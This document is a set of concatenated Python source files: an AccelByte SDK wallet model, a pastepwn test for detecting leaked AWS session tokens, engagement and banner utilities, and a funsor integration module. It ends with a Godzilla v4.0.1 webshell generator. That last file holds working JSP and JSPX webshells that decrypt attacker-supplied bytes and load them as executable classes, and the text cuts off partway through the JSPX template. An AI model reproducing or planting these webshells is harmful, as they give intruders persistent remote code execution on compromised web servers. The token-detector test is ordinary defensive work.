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# Copyright (c) 2021 AccelByte Inc. All Rights Reserved.
# This is licensed software from AccelByte Inc, for limitations
# and restrictions contact your company contract manager.
#
# Code generated. DO NOT EDIT!
# template file: justice_py_sdk_codegen/__main__.py
# justice-platform-service (4.10.0)
# pylint: disable=duplicate-code
# pylint: disable=line-too-long
# pylint: disable=missing-function-docstring
# pylint: disable=missing-module-docstring
# pylint: disable=too-many-arguments
# pylint: disable=too-many-branches
# pylint: disable=too-many-instance-attributes
# pylint: disable=too-many-lines
# pylint: disable=too-many-locals
# pylint: disable=too-many-public-methods
# pylint: disable=too-many-return-statements
# pylint: disable=too-many-statements
# pylint: disable=unused-import
from __future__ import annotations
from typing import Any, Dict, List, Optional, Tuple, Union
from ....core import Model
from ..models.wallet_info import WalletInfo
class CurrencyWallet(Model):
"""Currency wallet (CurrencyWallet)
Properties:
balance: (balance) REQUIRED int
currency_code: (currencyCode) REQUIRED str
currency_symbol: (currencySymbol) REQUIRED str
namespace: (namespace) REQUIRED str
user_id: (userId) REQUIRED str
total_permanent_balance: (totalPermanentBalance) OPTIONAL int
total_time_limited_balance: (totalTimeLimitedBalance) OPTIONAL int
wallet_infos: (walletInfos) OPTIONAL List[WalletInfo]
"""
# region fields
balance: int # REQUIRED
currency_code: str # REQUIRED
currency_symbol: str # REQUIRED
namespace: str # REQUIRED
user_id: str # REQUIRED
total_permanent_balance: int # OPTIONAL
total_time_limited_balance: int # OPTIONAL
wallet_infos: List[WalletInfo] # OPTIONAL
# endregion fields
# region with_x methods
def with_balance(self, value: int) -> CurrencyWallet:
self.balance = value
return self
def with_currency_code(self, value: str) -> CurrencyWallet:
self.currency_code = value
return self
def with_currency_symbol(self, value: str) -> CurrencyWallet:
self.currency_symbol = value
return self
def with_namespace(self, value: str) -> CurrencyWallet:
self.namespace = value
return self
def with_user_id(self, value: str) -> CurrencyWallet:
self.user_id = value
return self
def with_total_permanent_balance(self, value: int) -> CurrencyWallet:
self.total_permanent_balance = value
return self
def with_total_time_limited_balance(self, value: int) -> CurrencyWallet:
self.total_time_limited_balance = value
return self
def with_wallet_infos(self, value: List[WalletInfo]) -> CurrencyWallet:
self.wallet_infos = value
return self
# endregion with_x methods
# region to methods
def to_dict(self, include_empty: bool = False) -> dict:
result: dict = {}
if hasattr(self, "balance"):
result["balance"] = int(self.balance)
elif include_empty:
result["balance"] = 0
if hasattr(self, "currency_code"):
result["currencyCode"] = str(self.currency_code)
elif include_empty:
result["currencyCode"] = ""
if hasattr(self, "currency_symbol"):
result["currencySymbol"] = str(self.currency_symbol)
elif include_empty:
result["currencySymbol"] = ""
if hasattr(self, "namespace"):
result["namespace"] = str(self.namespace)
elif include_empty:
result["namespace"] = ""
if hasattr(self, "user_id"):
result["userId"] = str(self.user_id)
elif include_empty:
result["userId"] = ""
if hasattr(self, "total_permanent_balance"):
result["totalPermanentBalance"] = int(self.total_permanent_balance)
elif include_empty:
result["totalPermanentBalance"] = 0
if hasattr(self, "total_time_limited_balance"):
result["totalTimeLimitedBalance"] = int(self.total_time_limited_balance)
elif include_empty:
result["totalTimeLimitedBalance"] = 0
if hasattr(self, "wallet_infos"):
result["walletInfos"] = [i0.to_dict(include_empty=include_empty) for i0 in self.wallet_infos]
elif include_empty:
result["walletInfos"] = []
return result
# endregion to methods
# region static methods
@classmethod
def create(
cls,
balance: int,
currency_code: str,
currency_symbol: str,
namespace: str,
user_id: str,
total_permanent_balance: Optional[int] = None,
total_time_limited_balance: Optional[int] = None,
wallet_infos: Optional[List[WalletInfo]] = None,
) -> CurrencyWallet:
instance = cls()
instance.balance = balance
instance.currency_code = currency_code
instance.currency_symbol = currency_symbol
instance.namespace = namespace
instance.user_id = user_id
if total_permanent_balance is not None:
instance.total_permanent_balance = total_permanent_balance
if total_time_limited_balance is not None:
instance.total_time_limited_balance = total_time_limited_balance
if wallet_infos is not None:
instance.wallet_infos = wallet_infos
return instance
@classmethod
def create_from_dict(cls, dict_: dict, include_empty: bool = False) -> CurrencyWallet:
instance = cls()
if not dict_:
return instance
if "balance" in dict_ and dict_["balance"] is not None:
instance.balance = int(dict_["balance"])
elif include_empty:
instance.balance = 0
if "currencyCode" in dict_ and dict_["currencyCode"] is not None:
instance.currency_code = str(dict_["currencyCode"])
elif include_empty:
instance.currency_code = ""
if "currencySymbol" in dict_ and dict_["currencySymbol"] is not None:
instance.currency_symbol = str(dict_["currencySymbol"])
elif include_empty:
instance.currency_symbol = ""
if "namespace" in dict_ and dict_["namespace"] is not None:
instance.namespace = str(dict_["namespace"])
elif include_empty:
instance.namespace = ""
if "userId" in dict_ and dict_["userId"] is not None:
instance.user_id = str(dict_["userId"])
elif include_empty:
instance.user_id = ""
if "totalPermanentBalance" in dict_ and dict_["totalPermanentBalance"] is not None:
instance.total_permanent_balance = int(dict_["totalPermanentBalance"])
elif include_empty:
instance.total_permanent_balance = 0
if "totalTimeLimitedBalance" in dict_ and dict_["totalTimeLimitedBalance"] is not None:
instance.total_time_limited_balance = int(dict_["totalTimeLimitedBalance"])
elif include_empty:
instance.total_time_limited_balance = 0
if "walletInfos" in dict_ and dict_["walletInfos"] is not None:
instance.wallet_infos = [WalletInfo.create_from_dict(i0, include_empty=include_empty) for i0 in dict_["walletInfos"]]
elif include_empty:
instance.wallet_infos = []
return instance
@classmethod
def create_many_from_dict(cls, dict_: dict, include_empty: bool = False) -> Dict[str, CurrencyWallet]:
return {k: cls.create_from_dict(v, include_empty=include_empty) for k, v in dict_} if dict_ else {}
@classmethod
def create_many_from_list(cls, list_: list, include_empty: bool = False) -> List[CurrencyWallet]:
return [cls.create_from_dict(i, include_empty=include_empty) for i in list_] if list_ else []
@classmethod
def create_from_any(cls, any_: any, include_empty: bool = False, many: bool = False) -> Union[CurrencyWallet, List[CurrencyWallet], Dict[Any, CurrencyWallet]]:
if many:
if isinstance(any_, dict):
return cls.create_many_from_dict(any_, include_empty=include_empty)
elif isinstance(any_, list):
return cls.create_many_from_list(any_, include_empty=include_empty)
else:
raise ValueError()
else:
return cls.create_from_dict(any_, include_empty=include_empty)
@staticmethod
def get_field_info() -> Dict[str, str]:
return {
"balance": "balance",
"currencyCode": "currency_code",
"currencySymbol": "currency_symbol",
"namespace": "namespace",
"userId": "user_id",
"totalPermanentBalance": "total_permanent_balance",
"totalTimeLimitedBalance": "total_time_limited_balance",
"walletInfos": "wallet_infos",
}
@staticmethod
def get_required_map() -> Dict[str, bool]:
return {
"balance": True,
"currencyCode": True,
"currencySymbol": True,
"namespace": True,
"userId": True,
"totalPermanentBalance": False,
"totalTimeLimitedBalance": False,
"walletInfos": False,
}
# endregion static methods
| python |
# -*- coding: utf-8 -*-
import unittest
from unittest import mock
from pastepwn.analyzers.awssessiontokenanalyzer import AWSSessionTokenAnalyzer
class TestAWSSessionTokenAnalyzer(unittest.TestCase):
def setUp(self):
self.analyzer = AWSSessionTokenAnalyzer(None)
self.paste = mock.Mock()
def test_mach_positive(self):
"""Test if positives are recognized"""
self.paste.body = r"'aws_session_token'\\ssss:\\ssss'AiughaiusDWIHJFUFERHO2134234'"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"'aws'\\ssss:\\ssss'auyhguywgerdbyubduiywebh'"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session'\\ssss:\\ssss'YTUF5GUY76ibuihIUIU98jJB+//='"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session_token'\\s:\\s'auyhguywgerdbyubduiywebh'"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session_token'\\:\\'auyhguywgerdbyubduiywebh'"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session_token'\\:\\'auyhguywgerdbyubduiywebh'"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'"
match = self.analyzer.match(self.paste)
self.assertTrue(match)
self.assertEqual(r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'", match[0])
self.paste.body = r"\\=\\'auyhguywgerdbyubduiywebh'"
self.assertTrue(self.analyzer.match(self.paste))
self.paste.body = r"\\=>\\'auyhguywgerdbyubduiywebh'"
self.assertTrue(self.analyzer.match(self.paste))
def test_intext(self):
"""Test if matches inside text are recognized"""
self.paste.body = r"Please always use this session token: \\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'. Cu soon."
match = self.analyzer.match(self.paste)
self.assertTrue(match)
self.assertEqual(r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'", match[0])
self.paste.body = r"Also there are other tokens such as \\=\\'auyhguywgerdbyubduiywebh' which is pretty short"
match = self.analyzer.match(self.paste)
self.assertTrue(match)
self.assertEqual(r"\\=\\'auyhguywgerdbyubduiywebh'", match[0])
def test_multiple(self):
"""Test if multiple matches are recognized"""
self.paste.body = r"Please always use this session token: " \
r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'. Also we can use shorter" \
r"tokens such as \\=\\'auyhguywgerdbyubduiywebh' which is quite handy."
match = self.analyzer.match(self.paste)
self.assertTrue(match)
self.assertEqual(r"\\ssssssssssssssssssssss:\\ssssssssssssssss'auyhguywgerdbyubduiywebh'", match[0])
self.assertEqual(r"\\=\\'auyhguywgerdbyubduiywebh'", match[1])
def test_match_negative(self):
"""Test if negatives are recognized"""
self.paste.body = "\\ssss:\\ssss'Aiughai'"
self.assertFalse(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session'\ssss:\\ssss'YTUF5GUY76ibuihIUIU98jJB+ÒÈÒà'"
self.assertFalse(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session_asd'\\aaa:\\ssss'auyhguywgerdbyubduiywebh'"
self.assertFalse(self.analyzer.match(self.paste))
self.paste.body = r"\"aws_session\"\\ssss:\ssss'auyhguywgerdbyubduiywebh'"
self.assertFalse(self.analyzer.match(self.paste))
self.paste.body = r"'aws_session'\\ssss$\\ssss'auyhguywgerdbyubduiywebh'"
self.assertFalse(self.analyzer.match(self.paste))
# We need to use triple strings here - https://stackoverflow.com/questions/27467870/escape-single-quote-in-raw-string-r
self.paste.body = r"""Any text 'aws_session'\\ssss:\\ssss"auyhguywgerdbyubduiywebh" and more after"""
self.assertFalse(self.analyzer.match(self.paste))
if __name__ == "__main__":
unittest.main()
| python |
"""app.engagement.utils module"""
from typing import List
from uuid import UUID
from app.engagement.models import Engagement
from app.engagement.repositories import EngagementRepository
def create_engagement(**kwargs) -> Engagement:
"""
Create engagement.
Returns:
Engagement created.
"""
new_engagement = Engagement(
title=kwargs['title'],
description=kwargs.get('description', None),
start_date=kwargs.get('start_date', None),
end_date=kwargs.get('end_date', None),
color=kwargs.get('color', None),
client_id=kwargs['client_id'],
line_of_service_id=kwargs.get('line_of_service_id'))
return EngagementRepository.create(new_engagement)
def update_engagement(engagement_id: UUID, **kwargs) -> Engagement:
"""
Updates an engagement.
Args:
engagement_id (UUID): ID of engagement to be updated.
Returns:
Engagement updated.
Raises:
ValueError if the engagement with the ID specified does not exist.
"""
engagement_for_update = EngagementRepository.get_one_by_id(engagement_id)
if not engagement_for_update:
raise ValueError('Engagement with ID specified does not exist.')
update_fields = ('title', 'description', 'start_date', 'end_date',
'color', 'status', 'client_id', 'line_of_service_id',
'organization_id',)
return EngagementRepository.update_by_id(
model_id=engagement_id,
fields_for_update=update_fields,
**kwargs)
def list_engagements() -> List[Engagement]:
"""
List engagements.
Returns:
List of engagements.
"""
return EngagementRepository.get_all()
def get_engagement(engagement_id: UUID) -> Engagement:
"""
Get engagement by ID.
Args:
engagement_id (UUID): ID of engagement to be returned.
Returns:
Engagement whose ID has been supplied.
"""
return EngagementRepository.get_one_by_id(model_id=engagement_id)
| python |
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import argparse
import datetime
import json
ANDROID = 'android'
IOS = 'ios'
ORIG_ACTION_2 = 'Action2'
ORIG_SEARCH_QUERY_2 = 'SearchQuery2'
ORIG_CAMPAIGN_NAME = 'campaign name'
ORIG_ONLINE_TIME = 'Online time'
ORIG_OFFLINE_TIME = 'Offline time'
DESCRIPTION = 'description'
DEEP_LINK = 'deepLink'
ACTION_2 = 'action2'
SEARCH_QUERY_2 = 'searchQuery2'
CAMPAIGN_NAME = 'campaignName'
BANNER_URL = 'bannerUrl'
MIN_TIME = 'minTime'
MAX_TIME = 'maxTime'
def read_banner(file_name, banner_url):
data = {IOS: [], ANDROID: []}
try:
with open(file_name) as file:
lines = file.readlines()
new_node = True
for i, line in enumerate(lines):
# print(f'Line {i}: {line}')
if line == '\n':
new_node = True
elif new_node:
# if 'node_ios' in dir() and 'node_android' in dir():
# format_description(node_ios)
# format_description(node_android)
# print(f'node_ios {i}: {node_ios}')
# print(f'node_android {i}: {node_android}')
node_ios = {}
node_android = {}
data[IOS].append(node_ios)
data[ANDROID].append(node_android)
description = line.strip()
node_ios[DESCRIPTION] = description
node_android[DESCRIPTION] = description
node_ios[DEEP_LINK] = {}
node_android[DEEP_LINK] = {}
new_node = False
else:
item = line.strip().split(':', 1)
key = map_key(item[0].strip())
append_value(key, item[1].strip(), node_ios, node_android, banner_url)
# print(f'data: {data}')
for i, node in enumerate(data[IOS]):
format_description(node)
print(f'node_ios {i}: {node}')
for i, node in enumerate(data[ANDROID]):
format_description(node)
print(f'node_android {i}: {node}')
except Exception as e:
print(e)
raise
finally:
file.close()
# print(data)
return data
def save_banner(banner_dict, out_file):
print(f'\n\n\n*******************\nsave banner to {out_file}\n')
# print(f"\nbanner:\n{banner}\n\n\n\n\n\n")
result = json.dumps(obj=banner_dict, indent=2, sort_keys=False)
# print(f"\n\nNEW banner:\n{result}")
try:
with open(out_file, "w") as file:
file.write(result)
except Exception as e:
print(e)
raise
finally:
file.close()
def format_description(node):
time_stamp = ''
if MIN_TIME in node and node[MIN_TIME]:
time_stamp = ' from [%s]' % transform_millisecond_to_date_time_string(node[MIN_TIME])
# print(f'time_stamp: {time_stamp}')
if MAX_TIME in node and node[MAX_TIME]:
time_stamp += ' to [%s]' % transform_millisecond_to_date_time_string(node[MAX_TIME])
# print(f'time_stamp: {time_stamp}')
if time_stamp:
node[DESCRIPTION] += time_stamp
def map_key(key):
if key == ORIG_ACTION_2:
return ACTION_2
elif key == ORIG_SEARCH_QUERY_2:
return SEARCH_QUERY_2
elif key.lower() == ORIG_CAMPAIGN_NAME:
return CAMPAIGN_NAME
elif key.lower() == ORIG_ONLINE_TIME.lower():
return MIN_TIME
elif key.lower() == ORIG_OFFLINE_TIME.lower():
return MAX_TIME
else:
return key
def append_value(key, value, node_ios, node_android, banner_url):
if key == CAMPAIGN_NAME:
campaigns = value.rsplit('-', 1)
campaign_prefix = campaigns[0]
campaign_platforms = campaigns[1].split('/', 1)
# print(f'campaign: {campaign_prefix} / {campaign_platforms}')
for campaignPlatform in campaign_platforms:
if campaignPlatform.lower() == IOS:
campaign_name = campaign_prefix + '-' + campaignPlatform
node_ios[CAMPAIGN_NAME] = campaign_name
node_ios[BANNER_URL] = banner_url + campaign_name + '.png'
elif campaignPlatform.lower() == ANDROID:
campaign_name = campaign_prefix + '-' + campaignPlatform
node_android[CAMPAIGN_NAME] = campaign_name
node_android[BANNER_URL] = banner_url + campaign_name + '.png'
else:
raise (Exception("unknown campaign platform {campaignPlatform}"))
elif key == MIN_TIME:
date_time = transform_string_to_date_time(value)
# print(f'minTime: {date_time}')
node_ios[key] = date_time
node_android[key] = date_time
elif key == MAX_TIME:
date_time = transform_string_to_date_time(value)
# print(f'maxTime: {date_time}')
node_ios[key] = date_time
node_android[key] = date_time
elif key == ACTION_2 or key == SEARCH_QUERY_2:
node_ios[DEEP_LINK][key] = value.lower()
node_android[DEEP_LINK][key] = value.lower()
else:
node_ios[key] = value
node_android[key] = value
def transform_string_to_date_time(value):
# 2020-01-05 09:00 AM
return datetime.datetime.strptime(value, '%Y-%m-%d %I:%M %p').timestamp() * 1000
def transform_millisecond_to_date_time_string(value):
# 2020-01-05 09:00 AM
return datetime.datetime.fromtimestamp(value / 1000).strftime('%Y-%m-%d %I:%M %p')
parser = argparse.ArgumentParser(description='Test for argparse')
parser.add_argument('--banner', '-b', help='banner info file 属性，必要参数', required=True)
parser.add_argument('--bannerUrl', '-burl', help='banner URL file 属性，必要参数', required=True)
parser.add_argument('--out', '-o', help='output json file 属性，非必要参数', required=False)
args = parser.parse_args()
if __name__ == '__main__':
banner = args.banner
bannerUrl = args.bannerUrl
out = args.out or '%s_after.json' % banner
print(f"""
banner file: {banner}
bannerUrl file: {bannerUrl}
out file: {out}
""")
banner = read_banner(banner, bannerUrl)
save_banner(banner, out)
| python |
# Copyright Contributors to the Pyro project.
# SPDX-License-Identifier: Apache-2.0
from collections import OrderedDict
from functools import reduce
from typing import Tuple, Union
import funsor.ops as ops
from funsor.cnf import Contraction, GaussianMixture
from funsor.constant import Constant
from funsor.delta import Delta
from funsor.gaussian import Gaussian, _norm2, _vm, align_gaussian
from funsor.interpretations import eager, normalize
from funsor.tensor import Tensor
from funsor.terms import (
Funsor,
FunsorMeta,
Number,
Subs,
Unary,
Variable,
_convert_reduced_vars,
substitute,
to_funsor,
)
class IntegrateMeta(FunsorMeta):
"""
Wrapper to convert reduced_vars arg to a frozenset of str.
"""
def __call__(cls, log_measure, integrand, reduced_vars):
inputs = log_measure.inputs.copy()
inputs.update(integrand.inputs)
reduced_vars = _convert_reduced_vars(reduced_vars, inputs)
return super().__call__(log_measure, integrand, reduced_vars)
class Integrate(Funsor, metaclass=IntegrateMeta):
"""
Funsor representing an integral wrt a log density funsor.
:param Funsor log_measure: A log density funsor treated as a measure.
:param Funsor integrand: An integrand funsor.
:param reduced_vars: An input name or set of names to reduce.
:type reduced_vars: str, Variable, or set or frozenset thereof.
"""
def __init__(self, log_measure, integrand, reduced_vars):
assert isinstance(log_measure, Funsor)
assert isinstance(integrand, Funsor)
assert isinstance(reduced_vars, frozenset)
assert all(isinstance(v, Variable) for v in reduced_vars)
reduced_names = frozenset(v.name for v in reduced_vars)
inputs = OrderedDict(
(k, d)
for term in (log_measure, integrand)
for (k, d) in term.inputs.items()
if k not in reduced_names
)
output = integrand.output
fresh = frozenset()
bound = {v.name: v.output for v in reduced_vars}
super(Integrate, self).__init__(inputs, output, fresh, bound)
self.log_measure = log_measure
self.integrand = integrand
self.reduced_vars = reduced_vars
def _alpha_convert(self, alpha_subs):
assert set(self.bound).issuperset(alpha_subs)
reduced_vars = frozenset(
Variable(alpha_subs.get(v.name, v.name), v.output)
for v in self.reduced_vars
)
alpha_subs = {
k: to_funsor(
v, self.integrand.inputs.get(k, self.log_measure.inputs.get(k))
)
for k, v in alpha_subs.items()
}
log_measure = substitute(self.log_measure, alpha_subs)
integrand = substitute(self.integrand, alpha_subs)
return log_measure, integrand, reduced_vars
@normalize.register(Integrate, Funsor, Funsor, frozenset)
def normalize_integrate(log_measure, integrand, reduced_vars):
return Contraction(ops.add, ops.mul, reduced_vars, log_measure.exp(), integrand)
@normalize.register(
Integrate,
Contraction[Union[ops.NullOp, ops.LogaddexpOp], ops.AddOp, frozenset, tuple],
Funsor,
frozenset,
)
def normalize_integrate_contraction(log_measure, integrand, reduced_vars):
reduced_names = frozenset(v.name for v in reduced_vars)
delta_terms = [
t
for t in log_measure.terms
if isinstance(t, Delta)
and t.fresh.intersection(reduced_names, integrand.inputs)
]
for delta in delta_terms:
delta_fresh = frozenset(Variable(k, delta.inputs[k]) for k in delta.fresh)
args = delta, integrand, delta_fresh
integrand = eager.dispatch(Integrate, *args)(*args)
return normalize_integrate(log_measure, integrand, reduced_vars)
EagerConstant = Constant[
Tuple,
Union[
Variable,
Delta,
Gaussian,
Unary[ops.NegOp, Gaussian],
Number,
Tensor,
GaussianMixture,
],
]
@eager.register(
Contraction,
ops.AddOp,
ops.MulOp,
frozenset,
Unary[ops.ExpOp, Union[GaussianMixture, Delta, Gaussian, Number, Tensor]],
(
Variable,
Delta,
Gaussian,
Unary[ops.NegOp, Gaussian],
Number,
Tensor,
GaussianMixture,
EagerConstant,
),
)
def eager_contraction_binary_to_integrate(red_op, bin_op, reduced_vars, lhs, rhs):
reduced_names = frozenset(v.name for v in reduced_vars)
if not (reduced_names.issubset(lhs.inputs) and reduced_names.issubset(rhs.inputs)):
args = red_op, bin_op, reduced_vars, (lhs, rhs)
result = eager.dispatch(Contraction, *args)(*args)
if result is not None:
return result
args = lhs.log(), rhs, reduced_vars
result = eager.dispatch(Integrate, *args)(*args)
if result is not None:
return result
return None
@eager.register(Integrate, GaussianMixture, Funsor, frozenset)
def eager_integrate_gaussianmixture(log_measure, integrand, reduced_vars):
real_vars = frozenset(v for v in reduced_vars if v.dtype == "real")
if reduced_vars <= real_vars:
discrete, gaussian = log_measure.terms
return discrete.exp() * Integrate(gaussian, integrand, reduced_vars)
return None
########################################
# Delta patterns
########################################
@eager.register(Integrate, Delta, Funsor, frozenset)
def eager_integrate(delta, integrand, reduced_vars):
delta_fresh = frozenset(Variable(k, delta.inputs[k]) for k in delta.fresh)
if reduced_vars.isdisjoint(delta_fresh):
return None
reduced_names = frozenset(v.name for v in reduced_vars)
subs = tuple(
(name, point)
for name, (point, log_density) in delta.terms
if name in reduced_names
)
new_integrand = Subs(integrand, subs)
new_log_measure = Subs(delta, subs)
result = Integrate(new_log_measure, new_integrand, reduced_vars - delta_fresh)
return result
########################################
# Gaussian patterns
########################################
@eager.register(Integrate, Gaussian, Variable, frozenset)
def eager_integrate_gaussian_variable(log_measure, integrand, reduced_vars):
real_input_vars = frozenset(v for v in log_measure.input_vars if v.dtype == "real")
real_vars = reduced_vars & real_input_vars
if real_vars == frozenset([integrand]):
if real_vars != real_input_vars:
return None # TODO implement this
loc = log_measure._mean
data = loc * ops.unsqueeze(ops.exp(log_measure._log_normalizer), -1)
data = data.reshape(loc.shape[:-1] + integrand.output.shape)
inputs = OrderedDict(
(k, d) for k, d in log_measure.inputs.items() if d.dtype != "real"
)
result = Tensor(data, inputs)
return result.reduce(ops.add, reduced_vars - real_vars)
return None # defer to default implementation
@eager.register(Integrate, Gaussian, Gaussian, frozenset)
def eager_integrate_gaussian_gaussian(log_measure, integrand, reduced_vars):
assert log_measure.is_full_rank
reduced_names = frozenset(v.name for v in reduced_vars)
real_vars = frozenset(v.name for v in reduced_vars if v.dtype == "real")
if real_vars:
lhs_reals = frozenset(
k for k, d in log_measure.inputs.items() if d.dtype == "real"
)
rhs_reals = frozenset(
k for k, d in integrand.inputs.items() if d.dtype == "real"
)
if lhs_reals == real_vars and rhs_reals <= real_vars:
inputs = OrderedDict(
(k, d) for t in (log_measure, integrand) for k, d in t.inputs.items()
)
lhs_white_vec, lhs_prec_sqrt = align_gaussian(inputs, log_measure)
rhs_white_vec, rhs_prec_sqrt = align_gaussian(inputs, integrand)
lhs = Gaussian(
white_vec=lhs_white_vec, prec_sqrt=lhs_prec_sqrt, inputs=inputs
)
# Compute the expectation of a non-normalized quadratic form.
# See "The Matrix Cookbook" (November 15, 2012) ss. 8.2.2 eq. 380.
# http://www.math.uwaterloo.ca/~hwolkowi/matrixcookbook.pdf
# If x ~ N(mean,cov) then
# E[(x-m)' A (x-m)] = (m-mean)'A(m-mean) + Tr(A cov) # eq. 380
# To perform this computation in rhs's internal space, we first transform
# lhs to rhs's whitened space
mean = _vm(lhs._mean, rhs_prec_sqrt)
norm = ops.exp(lhs._log_normalizer)
# Then in rhs's whitened space, A = I so Tr(A cov) = Tr(cov).
vmv_term = _norm2(rhs_white_vec - mean)
trace_term = (
(ops.triangular_solve(rhs_prec_sqrt, lhs._precision_chol) ** 2)
.sum(-1)
.sum(-1)
)
data = (-0.5) * norm * (vmv_term + trace_term)
inputs = OrderedDict(
(k, d) for k, d in inputs.items() if k not in reduced_names
)
result = Tensor(data, inputs)
return result.reduce(ops.add, reduced_names - real_vars)
raise NotImplementedError("TODO implement partial integration")
return None # defer to default implementation
@eager.register(Integrate, Gaussian, Unary[ops.NegOp, Gaussian], frozenset)
def eager_integrate_neg_gaussian(log_measure, integrand, reduced_vars):
return -Integrate(log_measure, integrand.arg, reduced_vars)
@eager.register(
Integrate,
Gaussian,
Contraction[
ops.NullOp,
ops.AddOp,
frozenset,
Tuple[Union[Gaussian, Unary[ops.NegOp, Gaussian]], ...],
],
frozenset,
)
def eager_distribute_integrate(log_measure, integrand, reduced_vars):
return reduce(
ops.add,
[
-Integrate(log_measure, term.arg, reduced_vars)
if isinstance(term, Unary)
else Integrate(log_measure, term, reduced_vars)
for term in integrand.terms
],
)
__all__ = [
"Integrate",
]
| python |
import core.cv as cv
def r(one,r1,r2):
r2 = cv.cmd5(r2)[0:16]
return one.replace('"pass"','"'+r1+'"').replace("3c6e0b8a9c15224a", r2)
def get(type,pwd,key):
print("godzilla-v4.0.1 \nhttps://github.com/shack2/skyscorpion\n"+"-"*64)
if type == "jsp":
print(r(jsp,pwd,key))
elif type == "jspx":
print(r(jspx,pwd,key))
elif type == "php":
print(r(php,pwd,key))
elif type == "asp":
print(r(asp,pwd,key))
elif type == "aspx" or type == ".net" or type == "c#":
print(r(aspx,pwd,key))
jsp='''JAVA_AES_BASE64.jsp\n\n<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>'''
jspx='''JAVA_AES_BASE64.jspx\n\n<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object 